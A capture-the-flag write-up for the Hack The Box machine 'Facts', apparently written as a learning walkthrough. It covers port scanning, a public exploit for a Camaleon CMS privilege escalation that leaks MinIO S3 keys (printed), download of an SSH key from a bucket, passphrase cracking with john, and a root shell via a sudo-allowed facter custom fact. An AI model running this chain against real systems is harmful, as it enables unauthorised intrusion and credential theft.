Facts WriteUp
Table of Contents
Facts is a π© Easy difficulty machine on Hack The Box. It chains the exploitation of a web CMS with a credential leak into a MinIO S3-compatible storage server, from which we extract a password-protected SSH private key. Privilege escalation is achieved by abusing a binary allowed via sudo.
πΊοΈ Attack Chain
Nmap β Port 80 (CamaleonCMS 2.9.0) + Port 54321 (MinIO)
β
βΌ
CVE-2025-2304 β Privilege Escalation + S3 Config Leak
β
βΌ
MinIO Credentials β Bucket "internal"
β
βΌ
.ssh/id_ed25519 (encrypted private key)
β
βΌ
ssh2john + john β passphrase: dragonballz β user: trivia
β
βΌ
sudo /usr/bin/facter β custom fact (.rb) β /bin/bash as root π΄
π Reconnaissance
Port Scanning
We perform reconnaissance in two phases: fast discovery followed by version detection on the found ports.
Add facts.htb to /etc/hosts:
echo "10.129.21.92 facts.htb" | sudo tee -a /etc/hosts
Phase 1, Fast TCP port discovery:
sudo nmap -p- --open -Pn --min-rate 5000 -oA ports -vvv facts.htb
Phase 2, Version detection and scripts:
grep -oP '\d+/open' ports.gnmap | cut -d'/' -f1 | sort -u | tr '\n' ',' | sed 's/,$//' > ports.txt
sudo nmap -sCV -p$(cat ports.txt) -Pn -oA scan -vvv facts.htb
Relevant ports found:
| Port | Service | Detail |
|---|---|---|
22 | SSH | OpenSSH 9.9p1 Ubuntu |
80 | HTTP | nginx 1.26.3 β redirects to facts.htb |
54321 | HTTP | Golang net/http β MinIO (S3 API) |
π‘ Note on TCP/54321: Nmap identifies the server as
MinIOvia theX-Amz-*response headers. We set it aside for now and start with port 80.
π Port 80, CamaleonCMS
We land on a blog where the administrator posts fun facts. We fuzz for directories:
gobuster dir -u http://facts.htb -w /usr/share/wordlists/dirbuster/directory-list-2.3-medium.txt
admin (Status: 302) [--> http://facts.htb/admin/login]
robots (Status: 200)
search (Status: 200)
...
At /admin/login we can register an account. Once inside the panel, we see it runs Camaleon CMS v2.9.0.
β οΈ We tested SQLi and XSS in the search field and comments, neither is exploitable. The admin panel is the attack vector.
CVE-2025-2304, Privilege Escalation + S3 Config Leak
A quick search leads us to CVE-2025-2304 , an authenticated privilege escalation vulnerability in Camaleon CMS 2.9.0 that also leaks the S3 storage credentials configured in the CMS.
We use the public PoC :
python exploit.py -u http://facts.htb -U username -P password -e
[+]Camaleon CMS Version 2.9.0 PRIVILEGE ESCALATION (Authenticated)
[+]Login confirmed
User ID: 5
Current User Role: client
[+]Loading PPRIVILEGE ESCALATION
User ID: 5
Updated User Role: admin
[+]Extracting S3 Credentials
s3 access key: AKIA0BFEDFE75637E79F
s3 secret key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
s3 endpoint: http://localhost:54321
[+]Reverting User Role
π― S3 credentials obtained. The endpoint points to the MinIO server we saw on port 54321, confirming the CMS uses MinIO as its storage backend.
πͺ£ Port 54321, MinIO (S3 API)
What is MinIO?
π§ Concept: S3 (Simple Storage Service) is an object storage system with an API the industry has adopted as a de facto standard (AWS, GCP, Azure). A bucket is the root container where objects are stored, the structure is flat, there are no real subdirectories, and the path is part of the object’s key (name). MinIO is an open-source, self-hostable implementation fully compatible with the S3 API.
We configure a profile in the aws CLI using the obtained credentials:
aws configure --profile facts
# AWS Access Key ID: AKIA0BFEDFE75637E79F
# AWS Secret Access Key: ORYiWTw1RwX+4MJioW/oCqZvu/pFkF6OGmI/hgP1
# Default region name: us-east-1
# Default output format: json
Bucket Enumeration
aws --endpoint-url http://facts.htb:54321 s3 ls --profile facts
2025-09-11 14:06:52 internal
2025-09-11 14:06:52 randomfacts
The randomfacts bucket only contains blog images. We focus on internal:
aws --endpoint-url http://facts.htb:54321 s3 ls s3://internal --profile facts --recursive | grep -v ".bundle"
2026-01-08 19:45:13 220 .bash_logout
2026-01-08 19:45:13 3900 .bashrc
2026-01-08 20:01:43 0 .cache/motd.legal-displayed
2026-01-08 19:47:17 20 .lesshst
2026-01-08 19:47:17 807 .profile
2026-04-05 09:40:42 82 .ssh/authorized_keys
2026-04-05 09:40:42 464 .ssh/id_ed25519
β οΈ The
internalbucket looks like a user’s home directory, it contains.bashrc,.profile, and most importantly: an SSH private key.
Downloading the Private Key
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/id_ed25519 ./id_facts --profile facts
π SSH Private Key, User Identification and Cracking
The key is passphrase-protected. Before cracking it, we verify that the private key matches the public key in authorized_keys by comparing their fingerprints:
# Private key fingerprint (will fail on passphrase but shows fingerprint)
ssh user@facts.htb -i id_facts -v 2>&1 | grep "SHA256"
# debug1: Will attempt key: id_facts ED25519 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY explicit
# Public key fingerprint from authorized_keys
aws --endpoint-url http://facts.htb:54321 s3 cp s3://internal/.ssh/authorized_keys ./authorized_keys --profile facts
ssh-keygen -l -f authorized_keys
# 256 SHA256:0xSRbpy4LiOAzTaFhtsPGRP6n6OmHo5BN7HPTp3T5uY no comment (ED25519)
β Fingerprints match, the private key works for the user who owns that
authorized_keys.
Cracking the Passphrase
We convert the key from ssh format to a john-compatible hash:
ssh2john id_facts > hash
john hash --wordlist=/usr/share/wordlists/rockyou.txt
dragonballz (id_facts)
1g 0:00:01:41 DONE
User Identification
With the passphrase we can extract the public key, which includes the comment with the username:
chmod 600 id_facts
ssh-keygen -y -f id_facts # dragonballz
# ssh-ed25519 AAAAC3...ohxpLN trivia@facts.htb
π― User identified:
trivia
π Initial Access
ssh trivia@facts.htb -i id_facts # dragonballz
π© User Flag
cat /home/william/user.txt
π§ Privilege Escalation
First thing after getting in, we check sudo permissions:
sudo -l
User trivia may run the following commands on facts:
(ALL) NOPASSWD: /usr/bin/facter
facter is a system data collection tool written in Ruby, typically used by Puppet. It accepts a custom facts directory via the --custom-dir flag, .rb files that define how to compute a new fact.
We abuse this by providing a custom fact that instead launches /bin/bash:
mkdir /tmp/exploit
echo "Facter.add(:shell) do setcode do system('/bin/bash') end end" > /tmp/exploit/shell.rb
sudo /usr/bin/facter --custom-dir=/tmp/exploit
root@facts:/tmp/exploit#
β Root shell obtained by abusing a
factercustom fact.
π΄ Root Flag
cat /root/root.txt
π Attack Chain Summary
| # | Technique | Tool | Result |
|---|---|---|---|
| 1 | Reconnaissance | nmap, gobuster | CamaleonCMS 2.9.0 + MinIO on :54321 |
| 2 | CVE-2025-2304 | exploit.py | MinIO S3 credentials |
| 3 | S3 enumeration | aws CLI | SSH private key in bucket internal |
| 4 | Passphrase cracking | ssh2john, john | passphrase: dragonballz β user: trivia |
| 5 | Initial access | ssh | Shell as trivia |
| 6 | Sudo abuse (facter) | Custom fact .rb | Shell as root π΄ |
See you in the next challenge.
